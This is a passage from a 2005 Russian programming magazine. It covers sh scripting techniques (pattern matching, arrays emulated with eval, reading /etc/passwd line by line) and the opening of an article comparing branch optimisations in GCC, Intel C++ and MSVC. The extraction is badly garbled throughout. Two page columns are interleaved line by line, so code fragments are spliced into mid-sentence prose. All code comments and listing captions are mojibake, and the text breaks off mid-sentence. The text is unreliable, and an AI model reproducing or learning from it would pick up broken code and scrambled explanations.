POS2=$3 # êîíå÷íûé èíäåêñ Первый аргумент для функции match_pattern – это шаб-
shift 3 лон, которому должна соответствовать строка, а все остав-
STRING=$* # îñòàâøèåñÿ ïàðàìåòðû ôóíêöèè
шиеся аргументы – это обрабатываемая строка. Функция
# åñëè êîíå÷íûé èíäåêñ ìåíüøå íà÷àëüíîãî, match_pattern_strict требует, чтобы вся строка соответство-
# âîçâðàùàåì îøèáêó
if [ $POS2 -lt $POS1 ]; then вала заданному шаблону, а match_pattern мягче – она тре-
result="" бует совпадения с шаблоном лишь части строки. Будьте вни-
return 1 # êîä âûõîäà > 0
fi мательны – чаще всего вам придется заключать шаблон в
одинарные или двойные кавычки, чтобы sh не раскрывал
# óäàëÿåì ïåðâûå ${POS1}-1 ýëåìåíòîâ èç ñòðîêè
I=1 символы подстановки «*» и «?» в шаблоне перед тем, как
while [ $I -lt $POS1 ]; do передать его функции.
STRING=${STRING#*${DELIM}}
I=$(($I+1))
done match_pattern_strict () {
local PATTERN STRING
STR1="$STRING" # çàïîìèíàåì ðåçóëüòàò # äâîéíûå êàâû÷êè îáÿçàòåëüíû, ÷òîáû íå ïðîèñõîäèëî
# ðàñêðûòèå ñèìâîëîâ ïîäñòàíîâêè
# óäàëÿåì âñå ýëåìåíòû âïëîòü äî ïîñëåäíåãî ýëåìåíòà, PATTERN="$1"
# êîòîðûé íàì íóæåí, îò ñòðîêè îñòàâëÿåì ñóôôèêñ, shift
# ñîñòîÿùèé èç íåíóæíûõ ýëåìåíòîâ STRING=$*
while [ $I -le $POS2 ]; do
STRING=${STRING#*${DELIM}} result=""
I=$(($I+1))
done case "$STRING" in
$PATTERN) # ïîëíîå ñîîòâåòñòâèå øàáëîíó
# ó íàñ óæå åñòü íåíóæíûé ñóôôèêñ ñ ïåðåìåííîé return 0
# STRING, óäàëÿåì åãî èç çàïîìíåííîãî ðåçóëüòàòà esac
result=${STR1%${DELIM}${STRING}} return 1
return 0 }
}
match_pattern() {
local PATTERN STRING

Выделение позиционных параметров PATTERN="$1"


shift
Можно использовать функцию set для того, чтобы заменить STRING=$*
список аргументов для данного блока команд и получить
result=""
доступ к позиционным параметрам $1, $2 и так далее. Един-
ственный недостаток такого способа – это невозможность case "$STRING" in
*${PATTERN}*) # ïðîâåðÿåòñÿ ñîîòâåòñòâèå øàáëîíó
избежать раскрытия символов подстановки (wildcards). return 0 # ÷àñòè ñòðîêè
Небольшой пример, как можно использовать этот при- esac
ем для того, чтобы получить первые 3 байта из MAC-адре- return 1
са (код производителя). Переменная IFS (input field separator) }
определяет символ или подстроку, которые будут исполь-
зоваться для разбиения строки на поля. Например, для частичной проверки правильности вво-
да IPv4-адреса можно использовать следующий шаблон:
extract_manufacturer () {
# îïðåäåëÿåì IFS êàê ëîêàëüíóþ ïåðåìåííóþ, ÷òîáû match_pattern_strict '[0-9]*.[0-9]*.[0-9]*.*[0-9]' 192.168.0.1
# åå èçìåíåíèå íå âëèÿëî íà äðóãèå ôóíêöèè
local STR IFS
# çàïîìèíàåì âñå àðãóìåíòû ôóíêöèè â STR
STR=$* Правда, этот шаблон ошибочно сочтет строку «127.0.0.
# óñòàíàâëèâàåì â êà÷åñòâå ðàçäåëèòåëÿ ñèìâîë ':' 0.0.1» правильной, поскольку лишние байты в таком адре-
IFS=':'
# ïðèñâàèâàåì ïîçèöèîííûì ïàðàìåòðàì ñîäåðæèìîå STR се будут соответствовать любому из символов «*» в шаб-
set -- $STR лоне. Для точной проверки следует использовать прием с
result="$1:$2:$3"
return 0 командой set и проверять каждый байт по отдельности.
}

# ïðèìåð èñïîëüçîâàíèÿ ôóíêöèè Организация массивов в sh


S=`ifconfig fxp0` # ïîëó÷èòü ðåçóëüòàò ðàáîòû êîìàíäû ifconfig Один из существенных недостатков sh, который делает его
S=${S##*ether} # ñòåðåòü âïëîòü äî êëþ÷åâîãî ñëîâà ether
неудобным для программирования, это отсутствие масси-

№3, март 2005 83


программирование
вов – ассоциативных или индексированных. Особенно ост- после чего интерпретирует получившуюся команду присво-
ро ощущается отсутствие двумерных массивов. В загрузоч- ения.
ных скриптах PicoBSD я подглядел интересный способ эму- Символ «\» обязательно должен присутствовать, иначе
лировать массивы в sh. Ниже представлен несколько мо- sh будет выдавать ошибки.
дифицированный вариант. Функция arr_lookup_by_key позволяет обратиться к эле-
Предположим, что мы хотим организовать двухмерный менту ассоциативного массива, зная значение ключа. Она
массив с именем foo. Первый индекс будет цифровой – получает 4 аргумента – имя массива, имя поля, в котором
0,1,..,N, а второй индекс – любая строка без пробелов. То хранится ключ, имя поля, значение которого нужно полу-
есть мы получим элементы массива foo[0][A],foo[0][bar], чить и значение ключа. Код выхода не равен нулю, если не
foo[0][extra],..., foo[10][A],foo[10][bar],foo[10][another] и так да- был найден ключ с таким значением.
лее.
Предположим также, что элементы с индексом «А» ни- # array_name ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß
# ÇÍÀ×ÅÍÈÅ_ÊËÞ×À
когда не могут иметь нулевое значение (пустую строку) и arr_lookup_by_key () {
выберем их в качестве ключа в ассоциативном массиве. local i array kfield vfield kvalue key value
array=$1
Для хранения каждого элемента массива мы создадим со- kfield=$2
ответственно переменные в sh – foo_0_A, foo_0_bar,foo_0_ vfield=$3
kvalue=$4
extra, ..., foo_10_A, foo_10_bar,foo_10_another и т. д.
В каждой строке массива должен быть элемент, играю- i=0
result=""
щий роль ключа, и любое количество элементов, в которых
хранятся данные. Количество дополнительных элементов key="x" # ïðèíóäèòåëüíî çàñòàâèì öèêë âûïîëíèòñÿ
# õîòÿ áû 1 ðàç
в каждой строке может быть произвольным. После этого while [ "$key" != "" ]; do
можно создать несколько функций для удобной работы с # êîíñòðóèðóåì èìÿ ïåðåìåííîé
eval key=\${${array}_${i}_${kfield}}
таким представлением данных. # åñëè çíà÷åíèå êëþ÷à ñîâïàëî, âîçâðàùàåì çíà÷åíèå
Функция arr_count возвращает количество элементов в if [ "$key" = "$kvalue" ]; then
# êîíñòðóèðóåì èìÿ âîçâðàùàåìîãî ïîëÿ
массиве. Первый аргумент функции – название массива eval result=\${${array}_${i}_${vfield}}
(фактически префикс для именования переменных), вто- return 0
fi
рой аргумент – название ключа в массиве. i=$(($i+1))
done
# ïîñ÷èòàòü êîëè÷åñòâî ýëåìåíòîâ â ìàññèâå
# arr_count ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À # öèêë çàêîí÷èëñÿ – ñëåäîâàòåëüíî òàêîãî çíà÷åíèÿ
# êëþ÷à íåò
arr_count () { return 1
local ARRNAME KEYNAME VAL I
ARRNAME=$1 # èìÿ ìàññèâà }
KEYNAME=$2 # èìÿ êëþ÷à â ìàññèâå
Функция arr_lookup_by_index позволяет получить значе-
I=0
result="" ние поля, зная численный индекс.
# îñíîâíàÿ ìàãèÿ ïðîèñõîäèò çäåñü – â êîìàíäå eval На вход передается 4 элемента – имя массива, имя поля,
# ôîðìèðóåòñÿ ïðàâèëüíîå íàçâàíèå ïåðåìåííîé,
# êîòîðàÿ ñîîòâåòñòâóåò ýëåìåíòó ìàññèâà в котором хранится ключ, имя поля, значение которого нуж-
eval VAL=\${${ARRNAME}_${I}_${KEYNAME}} но получить, и индекс. Если элемента с таким индексом
if [ "x$VAL” = "x" ];then
# åñëè ïåðâûé æå êëþ÷ ïóñòîé (ò.å. foo[0][A]) нет – т.е. поле ключа пустое, функция завершается с ко-
# ìû ïðåäïîëàãàåì, ÷òî òàêîé ìàññèâ íå ñóùåñòâóåò дом выхода 1. В противном случае значение поля возвра-
return 1
fi щается в переменной result.
while [ "x$VAL" != "x" ] ; do
I=$(($I+1)) # arr_lookup_by_index ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß
eval VAL=\${${ARRNAME}_${I}_${KEYNAME}} # ÈÍÄÅÊÑ
done
arr_lookup_by_index () {
local i array index vfield value kfield
result=$I array=$1
return 0
} kfield=$2
vfield=$3
kvalue=$4
Конструкция [ «x$VAL» = «x» ] обеспечивает коррект-
ное сравнение, если $VAL будет иметь пустое значение. eval key=\${${array}_${index}_${kfield}}
Если написать [ $VAL = «» ], то при пустой переменной $VAR if [ "$key" = "" ]; then
это будет раскрыто оболочкой в конструкцию [ = «» ], что # âîçâðàòèòü êîä îøèáêè, ò.ê. îáíàðóæåí ïóñòîé êëþ÷
return 1
приведет к ошибке. fi
Надо либо писать [ «$VAL» = «» ], либо просто приучить
eval result=\${${array}_${index}_${vfield}}
себя к [ «x$VAL» = «x» ], что переносимо на большее коли- return 0
чество платформ/версий sh. }
Для формирования имени переменной динамически при-
ходится использовать команду оболочки eval. Сперва sh под- Функция arr_set_by_index используется для добавления
ставляет значение ARRNAME, I и KEYNAME и получает: данных в массив. При этом одновременно устанавливает-
ся и значение ключа, и значение поля, которое ему соот-
eval VAL=\${foo_1_bar}, ветствует.

84
программирование
# arr_set_by_index ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß При перенаправлении надо проявить аккуратность. Если
# ÍÎÌÅÐ_ÈÍÄÅÊÑÀ ÇÍÀ×ÅÍÈÅ_ÊËÞ×À ÇÍÀ×ÅÍÈÅ_ÏÎËß перенаправить поток на вход команды read, a не на вход
arr_set_by_index() {
local i array kfield vfield index kvalue value блока while, скажем вот так:
array=$1
kfield=$2
vfield=$3 while read name pass uid gid gcos homedir shell junk ↵
index=$4 < /etc/passwd; do
kvalue=$5 ...
shift 5 done
vvalue=$*

i=0 то цикл будет выполняться бесконечное число раз, т.к. на


result="" каждой итерации команда read будет читать первую строч-
eval ${array}_${index}_${kfield}=${kvalue} ку файла.
eval ${array}_${index}_${vfield}=${vvalue} Другая задача, которая часто встречается, – обработка
return 0
} результатов выполнения другой команды. Если использо-
вать конвейерную обработку(pipelines) в sh, то можно по-
Функция arr_set_by_key используется для добавления или пытаться написать следующий кусок кода:
изменения данных в массиве по существующему ключу.
cat /etc/passwd | while read name pass uid gid gcos ↵
# arr_set_by_key ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß homedir shell junk; do
# ÇÍÀ×ÅÍÈÅ_ÊËÞ×À ÇÍÀ×ÅÍÈÅ_ÏÎËß echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|"
i=$(($i+1))
arr_set_by_key() { done
local i array kfield vfield kvalue vvalue
array=$1 echo "total lines: $i"
kfield=$2
vfield=$3 Мы будем получать правильно разбитые на поля запи-
kvalue=$4
shift 4 си, однако последняя команда выдаст количество строк
vvalue=$* равным 0. На первый взгляд это странно, но если вспом-
result="" нить, что все команды внутри блока while; do ...; done вы-
i=0 полняются в отдельном дочернем процессе sh, чтобы воз-
eval key=\${${array}_${i}_${kfield}} можно было бы перенаправить туда результат выполнения
while [ "x$key" != "x" ]; do конвеера, то тогда все становится на свои места. Передать
eval key=\${${array}_${i}_${kfield}}
if [ "x$key" = "x$kvalue" ]; then переменные из дочернего процесса в основной процесс sh
break невозможно. Поэтому придется переписать этот код так,
fi
i=$(($i+1)) чтобы тело цикла while выполнялось в контексте основного
done процесса. Для этого можно использовать here-doc-текст и
arr_set_by_index $array $kfield $vfield $i $kvalue $vvalue подставлять туда результат выполнения команды при по-
return 0 мощи обратных кавычек (backtricks, ``).
}

Таким образом, для добавления нового элемента в мас- IFS=:


i=0
сив нужно сперва вызвать аrr_count, получить количество while read name pass uid gid gcos homedir shell junk; do
существующих строк и потом добавить в конец массива но- echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|"
i=$(($i+1))
вую строку. После этого можно установить уже все остав- done <<EOF
шиеся поля массива, обращаясь не по индексу, а по ключу. `cat /etc/passwd | head`
EOF

Построчная обработка файлов Таким образом мы переместили выполнение предыду-


Как правило, если нужно обработать файл построчно, раз- щих команд конвейера в отдельный(ые) процесс(ы), а их
бивая каждую строку на поля, используется awk или perl. результат будет передаваться на стандартный ввод (stdin)
Но не всегда под руками есть эти программы, поэтому мож- блока while. После этого команда while правильно посчита-
но попытаться сэмулировать их, имея только sh. ет количество строк в файле. Также можно объединить в
Воспользуемся способностью команды read разбивать here-doc результат выполнения нескольких команд или даже
входные данные по разделителю и приписывать значения поместить туда какие-то статические данные.
подстрок переменным. В случае окончания потока read вы- Таким образом, используя приведеные выше приемы,
дает ненулевой код выхода, поэтому ее можно использо- можно заменить часто используемые утилиты на их анало-
вать так же, как условие окончания цикла. ги, написанные на sh. Особенно актуально эта задача сто-
Пример скрипта для построчного чтения файла /etc/ ит при создании образа системы, загружаемой с дискеты,
passwd. или с твердотельных носителей (например, Compact Flash).
Описанные функции могут облегчить создание скриптов для
IFS=: конфигурации и интерактивной настройки таких систем. С
i=0
while read name pass uid gid gcos homedir shell junk; do другой стороны, используя встроенные возможности sh,
echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|" можно ускорить выполнение скриптов, поскольку запуск
i=$(($i+1))
done < /etc/passwd внешних утилит может быть существенно медленее, чем
echo "total lines: $i" вызов определенной пользователем функции sh.

№3, март 2005 85


программирование

ТЕХНИКА ОПТИМИЗАЦИИ ПОД LINUX


ЧАСТЬ II – ВЕТВЛЕНИЯ

Сегодня мы продолжим
сравнение Linux-компиляторов,
начатое в прошлом номере журнала,
и рассмотрим оптимизацию условных
переходов и операторов типа switch.
Механизмы их трансформации достаточно
многочисленны и разнообразны. За последнее
время было предложено множество новых идей,
воплощенных в компиляторах GCC 3.3.4
и Intel C++ 8.0 (сокращенно icl), однако древний
Microsoft Visual C++ 6.0 (сокращенно msvc)
не сдает своих позиций, так что не спешите
списывать его в утиль и сдавать на свалку.

КРИС КАСПЕРСКИ
Оптимизация ветвлений/branch Чтобы падения производительности не происходило, не-
Ветвления (по-английски branch, они же условные/безуслов- которые компиляторы прибегают к выравниванию, распола-
ные переходы) относятся к фундаментальным основам лю- гая инструкции перехода по кратным адресам и заполняют
бого языка, без которых не обходится ни одна программа. образующиеся «дыры» незначащими инструкциями, такими
Даже «hello, world!»! Ведь выход из функции main – это тоже как XCHG EAX, EAX (обмен содержимого регистров EAX ме-
ветвление, пусть и неявное (однако ж процессор синтакси- стами) или MOV EAX, EAX (пересылка содержимого EAX в
сом языка не проведешь!). А сколько ветвлений содержит EAX). Это увеличивает размер кода и несколько снижает
сама функция printf? А библиотека времени исполнения? его производительность, поэтому бездумное (оно же «аг-
Суперскалярные микропроцессоры, построенные по рессивное») выравнивание только вредит.
конвейерной архитектуре (а все современные микропроцес- Легко показать, что машинная команда требует вырав-
соры именно так и устроены), быстрее всего выполняют ли- нивания в тех, и только тех случаях, когда условие:
нейный код и ненавидят ветвления. В лучшем случае они
дезориентируют процессор, слегка приостанавливая выпол- ((addr % cache_len + sizeof(ops)) > cache_len)
нение программы, в худшем же – полностью очищают кон-
вейер. А на последних Pentium он очень длинный (и с каж- становится истинным. Здесь: addr – линейный адрес инст-
дой последующей моделью становится все длиннее и длин- рукции, cache_len размер кэш-линейки (в зависимости от
нее). Быстро его не заполнишь… на это может уйти не одна типа процессора равный 32, 64 или 128 байтам), ops – сама
сотня тактов, что вызовет обвальное падение производитель- машинная инструкция. Количество выравнивающих байт рас-
ности. считывается по формуле:
Оптимизация переходов дает значительный выигрыш,
особенно если они расположены внутри циклов (кстати го- (cache_len - (addr % cache_len))
воря, циклы – это те же самые переходы), поэтому качество
компилятора не в последнюю очередь определяется его уме- Именно так поступают все программисты, владеющие
нием полностью или частично избавляться от ветвлений. Ассемблером, но только не компиляторы! MSVC и icl вооб-
ще не выравнивают переходов, а gcc выравнивает целе-
Выравнивание переходов вую инструкцию на фиксированную величину, кратную сте-
Процессоры, основанные на ядрах Intel P6 и AMD K6, не тре- пени двойки (т.е. 2, 4, 8…), что является крайне неэффек-
буют выравнивания переходов, за исключением того случая, тивной стратегией, однако даже плохая стратегия все же
когда целевая инструкция или сама команда перехода рас- лучше, чем совсем никакой. Кстати говоря, именно по этой
щепляются границей кэш-линейки пополам, в результате чего причине, компиляторы msvc и icl генерируют неустойчивый
наблюдается значительное падение производительности. код, точнее код с «плавающей» производительностью, бы-
Наибольший ущерб причиняют переходы, находящиеся в стродействие которого главным образом зависит от того,
циклах с компактным телом и большим уровнем вложения. расщепляются ли глубоко вложенные переходы или нет. А

86
программирование
это в свою очередь зависит от множества трудно прогнози- Удаление проверок нулевых указателей
руемых обстоятельств, включающих фазу луны и количе- Программисты до сих пор не могут определиться, кто дол-
ство осадков. жен осуществлять проверку аргументов – вызывающая или
Учитывая, что средняя длина x86-инструкций составляет вызываемая функция. Многие стандарты кодирования пред-
3.5 байта, целесообразнее всего выравнивать переходы по писывают выполнять такую проверку обеим:
границе четырех байт (ключ -falign-jumps=4 компилятора gcc).
Ключ -fno-align-jumps (или эквивалентный ему -falign-jumps=1) Ëèñòèíã 5. Íåîïòèìèçèðîâàííûé âàðèàíò
отключает выравнивание. Ключ falign-jumps=0 задейству- f1(int *p)
ет выравнивание по умолчанию, автоматически выбирае- {
// ïðîâåðêà ¹2
мое компилятором в зависимости от типа процессора. // (ìîæåò áûòü óäàëåíà êîìïèëÿòîðîì
// ò.ê. åé ïðåäøåñòâîâàëà çàïèñü ïî óêàçàòåëþ)
Ëèñòèíã 1. Ôîðìóëà äëÿ ðàñ÷åòà îïòèìàëüíîé êðàòíîñòè if (p) return *p+1; else return –1;
âûðàâíèâàíèÿ äëÿ ïðîöåññîðîâ Intel Pentium II è âûøå }

if ((addr % cache_len + sizeof(ops)) > cache_len) f2(int *p)


align = cache_len – (addr % cache_len); {
// ïðîâåðêà ¹1/çàïèñü ïî óêàçàòåëþ
if (p) *p = 0x69; else return -1;
return f1(p);
Частичное вычисление условий }
«Летят два крокодила – один квадратный, другой тоже на
север», – вот хороший пример техники быстрого булевого Лишние проверки увеличивают размер кода и замедля-
вычисления (оно же «частичное вычисление условий», ют его выполнение (особенно если находятся глубоко в цик-
«Partial evaluation of test conditions» или «short-circuiting»). ле), поэтому компилятор gcc поддерживает специальный
Собственно, ничего «быстрого» в нем нет. Если первое из ключ, fdelete-null-pointer-checks, «вычищающий» их из про-
нескольких условий, связанных оператором AND, ложно (где граммы. Вся соль в том, что x86-процессоры (как и боль-
вы видели квадратных крокодилов?), остальные уже не вы- шинство других) на аппаратном уровне отслеживают обра-
числяются. Соответственно если первое из нескольких ус- щения к нулевым указателям, автоматически выбрасывая
ловий, связанных оператором OR, истинно, вычислять ос- исключение, если такое обращение действительно про-
тальные нет нужды. Это значит, что в выражениях вида изошло. Поэтому, если проверке на «легитимность» указа-
(1 || f(x)) или (0 && f(x)) функция f(х) просто не вызывается. теля предшествует операция чтения/записи по нему, эту
И это отнюдь не свойство оптимизатора (как утвержда- проверку можно не выполнять.
ют некоторые рекламные буклеты), а требование языка, без Рассмотрим, листинг 5. Сначала проходит проверка ука-
которого ветвления вида: if (x && (y/x)) были бы невозмож- зателя (проверка №1), потом в него записывается число
ны, поскольку вычислять значение выражения (y/x) можно 0x69, и указатель передается функции f1, выполняющей по-
тогда и только тогда, когда x=!0, т.е. выражение (x) истин- вторную проверку (проверка №2). Компилятор видит, что
но. В противном случае процессор выбросит исключение и вторая проверка осуществляется уже после обращения к
выполнение программы будет остановлено. Поэтому такая указателю (естественно, чтобы он мог это осознать, функ-
стратегия поведения сохраняется даже при отключенном ция f1 должна быть встроенной или задействован режим
оптимизаторе. Все три рассматриваемых компилятора под- глобальной оптимизации) и рассуждает так: если операция
держивают быстрое булевое вычисление. присвоения *p = 0x69 проходит успешно и процессор не
выбрасывает исключения, то указатель p гарантированно
Ëèñòèíã 2. Åñëè âûðàæåíèå (a == b) èñòèííî, âûðàæåíèå не равен нулю, и в проверке нет никакой нужды. Если же
(c == d) óæå íå ïðîâåðÿåòñÿ
указатель равен нулю, тогда при обращении к нему про-
if ((a == b) || (c == d))… цессор выбросит исключение и до проверки дело все рав-
но не дойдет.
Так зачем же тогда ее выполнять? Компиляторы msvc и
Удаление избыточных проверок icl такой техники оптимизации не поддерживают. Правда, в
Небрежное кодирование часто приводит к появлению избы- режиме глобальной оптимизации, icl может удалять несколь-
точных или даже заведомо ложных проверок, полностью или ко подряд идущих проверок (при встраивании функций это
частично дублирующих друг друга, например: «if (a > 9) … происходит достаточно часто), поскольку это является час-
if (a > 6)…». Очевидно, что вторая проверка лишняя и icl тным случаем техники удаления избыточных проверок, од-
благополучно удаляет ее. Остальные рассматриваемые нако ситуацию «проверка/модификация указателя/обраще-
компиляторы такой способностью не обладают, послушно ние к указателю/проверка» icl уже не осилит. А вот gcc
генерируя следующий код. справляется с ней без труда!

Ëèñòèíã 3. Íåîïòèìèçèðîâàííûé âàðèàíò Совмещение проверок


if (n > 10) a++; else return 0; Совмещение проверок очень похоже на повторное исполь-
if (n > 5) a++; else return 0; // èçáûòî÷íàÿ ïðîâåðêà зование подвыражений: если одна и та же проверка при-
if (n < 2) a++; else return 0; // çàâåäîìî ëîæíà ïðîâåðêà
сутствует в двух или более местах и отсутствуют паразит-
Ëèñòèíã 4. Îïòèìèçèðîâàííûé âàðèàíò ные зависимости по данным, все проверки можно объеди-
if (n > 10) a+=2; else return 0; нить в одну:

№3, март 2005 87


программирование
Ëèñòèíã 6. Íåîïòèìèçèðîâàííûé âàðèàíò, 2 ïðîâåðêè } // lab_3: goto lab_1
// lab_4:
if (CPU_TYPE == AMD) // ïðîâåðêà
x = AMD_f1(y); Аналогичным способом осуществляется и оптимизация
else условных/безусловных переходов, указывающих на другой
x = INTEL_f1(y);
… условный переход. Вот, посмотрите:
if (CPU_TYPE == AMD) // åùå îäíà ïðîâåðêà
a = AMD_f2(b);
else Ëèñòèíã 12. Íåîïòèìèçèðîâàííûé âàðèàíò
a = INTEL_f2(b);
jmp lab_1 ; // ïåðåõîä íà óñëîâíûé ïåðåõîä
Ëèñòèíã 7. Îïòèìèçèðîâàííûé âàðèàíò, òîëüêî îäíà ïðîâåðêà …
lab_1: jnz lab_2
if (CPU_TYPE == AMD) // òîëüêî îäíà ïðîâåðêà
{ Ëèñòèíã 13. Îïòèìèçèðîâàííûé âàðèàíò
x = AMD_f1(y);
a = AMD_f2(b); jnz lab_2 ; // îïòèìèçèðîâàíî
} …
else lab_1: jnz lab_2
{
x = INTEL_f1(y); Заметим, что в силу ограниченной «дальнобойности»
a = INTEL_f2(b); (см. врезку «Трансляция кротких условных переходов») ус-
}
ловных переходов, в некоторых случаях длину цепочки при-
Из всех трех компиляторов совмещать проверки умеет ходится не только уменьшать, но и увеличивать, прибегая
только icl, да и то не всегда. к следующему трюку:

Сокращение длины маршрута Ëèñòèíã 14. Òðàíñôîðìàöèÿ óñëîâíûõ ïåðåõîäîâ, äî êîòîðûõ


ïðîöåññîð íå ìîæåò «äîòÿíóòüñÿ»
Если один условный или безусловный переход указывает
на другой безусловный переход, то все три рассматривае- jz far_far_away jnz next_lab
———òðàíñôîðìàöèÿ—————> jmp far_far_away
мых компилятора автоматически перенаправляют первый next_lab:
целевой адрес на последний, что и демонстрирует следую-
щий пример: Условный или безусловный переход, указывающий на
выход из функции, заменяется всеми тремя компиляторами
Ëèñòèíã 8. Íåîïòèìèçèðîâàííûé âàðèàíò на непосредственный выход из функции, при условии, что
goto lab_1 ; // ïåðåõîä ê ìåòêå lab_1 код-эпилог достаточно мал и накладные расходы на его дуб-
// íà áåçóñëîâíûé ïåðåõîä ê ìåòêå lab_2 лирование невелики:
….
lab_1: goto lab_2 ; // ïåðåõîä ê ìåòêå lab_2
…. Ëèñòèíã 15. Íåîïòèìèçèðîâàííûé âàðèàíò
lab_2:
f(int a, int b)
Ëèñòèíã 9. Îïòèìèçèðîâàííûé âàðèàíò {
while(a--)
goto lab_2 ; // ñðàçó ïåðåõîäèì ê ìåòêå lab_2, {
// ìèíóÿ lab_1 if (a == b) break; // óñëîâíûé ïåðåõîä íà return a;
…. }
lab_1: goto lab_2 ; // ïåðåõîä ê ìåòêå lab_2 return a;
…. }
lab_2:
Ëèñòèíã 16. Îïòèìèçèðîâàííûé âàðèàíò
Разумеется, оператор goto не обязательно должен при-
f(int a, int b)
сутствовать в программном коде в явном виде. Он вполне {
может быть «растворен» в цикле: while(a--)
{
if (a == b) return a; //íåïîñðåäñòâåííûé return a;
Ëèñòèíã 10. Íåîïòèìèçèðîâàííûé âàðèàíò }
return a;
while(a) // lab_1: if (!a) goto lab_4 }
{
while(b) // lab_2: if (!b) goto lab_3
/* ïåðåõîä íà áåçóñëîâíûé ïåðåõîä */
{ Уменьшение количества ветвлений
/* êîä öèêëà */
} // goto lab_2 Все три компилятора просматривают код в поисках услов-
} // lab_3: goto lab_1 ных переходов, перепрыгивающих через безусловные
// lab_4:
(conditional branches over unconditional branches) и оптими-
После оптимизации этот код будет выглядеть так: зируют их: инвертируют условный переход, перенацеливая
его на адрес безусловного перехода, а сам безусловный
Ëèñòèíã 11. Îïòèìèçèðîâàííûé âàðèàíò переход удаляют, уменьшая тем самым количество ветв-
while(a) // lab_1: if (!a) goto lab_4 лений на единицу:
{
while(b) // lab_2: if (!b) goto lab_1 Ëèñòèíã 17. Íåîïòèìèçèðîâàííûé âàðèàíò
/* îïòèìèçèðîâàíî */
{
/* êîä öèêëà */ if (x) a=a*2; else goto lab_1;
// äâîéíîå âåòâëåíèå if – else
} // goto lab_2

88
программирование
b=a+1 ветствуют различным отношениям чисел и за каждый из
lab_1: c=a*10 них отвечает «свой» условный переход. Например:
Ëèñòèíã 18. Îïòèìèçèðîâàííûé âàðèàíò
Ëèñòèíã 21. Ñðàâíåíèå äâóõ ÷èñåë íà ÿçûêå àññåìáëåðà
if (!x) goto lab_1; // îäèíàðíîå âåòâëåíèå
a=a*2; cmp eax,ebx // ñðàâíèâàåì eax ñ ebx, çàïîìèíàÿ
b=a+1; // ðåçóëüòàò âî ôëàãàõ
lab_1: c=a*10; jl lab_1 // ïåðåõîä, åñëè eax < ebx
jg lab_2 // ïåðåõîä, åñëè eax > ebx
Оператор goto не обязательно должен присутствовать lab_3: // ðàç ìû çäåñü, eax == ebx
в тексте явно, он вполне может быть частью do/while/break/
continue. На языках высокого уровня все не так, и операцию срав-
Вот, например: нения приходится повторять несколько раз подряд, что не
способствует ни компактности, ни производительности. Но,
Ëèñòèíã 19. Íåîïòèìèçèðîâàííûé âàðèàíò, 2 âåòâëåíèÿ может быть, ситуацию исправит оптимизатор? Рассмотрим
while(1) следующий код:
{
if (a==0x66) break; // óñëîâíûé ïåðåõîä Ëèñòèíã 22. Ñðàâíåíèå äâóõ ÷èñåë íà ÿçûêå âûñîêîãî óðîâíÿ
a=a+rand();
}; // ñêðûòûé áåçóñëîâíûé ïåðåõîä
// íà íà÷àëî öèêëà if (a < 0x69) printf("b");
if (a > 0x69) printf("g");
Ëèñòèíã 20. Îïòèìèçèðîâàííûé âàðèàíò, 1 âåòâëåíèå (âåòâëåíèå if (a == 0x69) printf("e");
ïåðåä íà÷àëîì öèêëà íå ñ÷èòàåòñÿ, ò.ê. èñïîëíÿåòñÿ âñåãî
ëèøü ðàç) Дизассемблирование показывает, что компилятору msvc
потребовалось целых два сравнения, а вот icl было доста-
if (a!=0x66) // «ñäèðàíèå» îäíîé èòåðàöèè öèêëà
do{ точно и одного. Компилятор gcc не заметил подвоха и чес-
a=a+rand(); тно выполнил все три сравнения.
}while(a!=0x66); // èíâåðòèðóåì ïåðåõîä, òîëüêî îäíî
// âåòâëåíèå
Избавление от ветвлений
Теория утверждает, что любой вычислительный алгоритм
Сокращение количества сравнений можно развернуть в линейную конструкцию, заменив все
Процессоры семейства x86 (как и многие другие) облада- ветвления математическими операциями (как правило, за-
ют одной очень интересной концепцией, которой нет ни в путанными и громоздкими). Рассмотрим функцию поиска
одном языке высокого уровня. Операции вида if (a>b) вы- максимума среди двух целых чисел: «((a>b)?a:b)», для на-
полняются в два этапа. Сначала из числа a вычитается чис- глядности записанную так: «if (a<b) a=b;». Как избавиться
ло b и состояние вычислительного устройства сохраняется от ветвления? В этом нам поможет машинная команда SBB,
в регистре флагов. Различные комбинации флагов соот- реализующая вычитание с заемом.

Трансляция коротких переходом, действующим в пределах одного сегмента (см.


условных переходов рис. 2).
Одна из неприятных особенностей процессоров x86 – ог-
раниченная «дальнобойность» команд условного перехода.
Разработчики микропроцессора в стремлении добиться вы-
сокой компактности кода отвели на целевой адрес всего
один байт, ограничив тем самым длину прыжка интерва-
лом в 255 байт. Это так называемый короткий (short) пере-
ход, адресуемый относительным знаковым смещением, от-
считываемым от начала следующей за инструкцией пере-
хода командой (см. рис. 1). Такая схема адресации ограни-
чивает длину прыжка «вперед» (т.е. «вниз») всего 128 бай-
тами, а «назад» (т.е. «вверх») и того меньше – 127! (Пры-
жок вперед короче потому, что ему требуется «пересечь» и Ðèñóíîê 1. Âíóòðåííåå ïðåäñòàâëåíèå êîðîòêîãî (short) ïåðåõîäà
саму команду перехода). Этих ограничений лишен ближ-
ний (near) безусловный переход, адресуемый двумя байта-
ми и действующий в пределах всего сегмента.
Короткие переходы усложняют трансляцию ветвлений –
ведь не всякий целевой адрес находится в пределах
128 байт! Существует множество путей обойти это ограни- Ðèñóíîê 2. Òðàíñëÿöèÿ êîðîòêèõ ïåðåõîäîâ
чение. Наиболее популярен следующий прием: если транс- Начиная с Intel 80386 в лексиконе процессора появились
лятор видит, что целевой адрес выходит за пределы дося- пятибайтные команды условных переходов, «бьющие» в
гаемости условного перехода, он инвертирует условие сра- пределах всего четырехгигабайтного адресного простран-
батывания и совершает короткий (short) переход на метку ства, однако в силу своей относительно невысокой произ-
continue, а на do_it передает управление ближним (near) водительности, они так и остались невостребованными.

№3, март 2005 89


программирование
На Ассемблере это могло бы выглядеть, например, так: водству на компилятор) и функции мультимедийной биб-
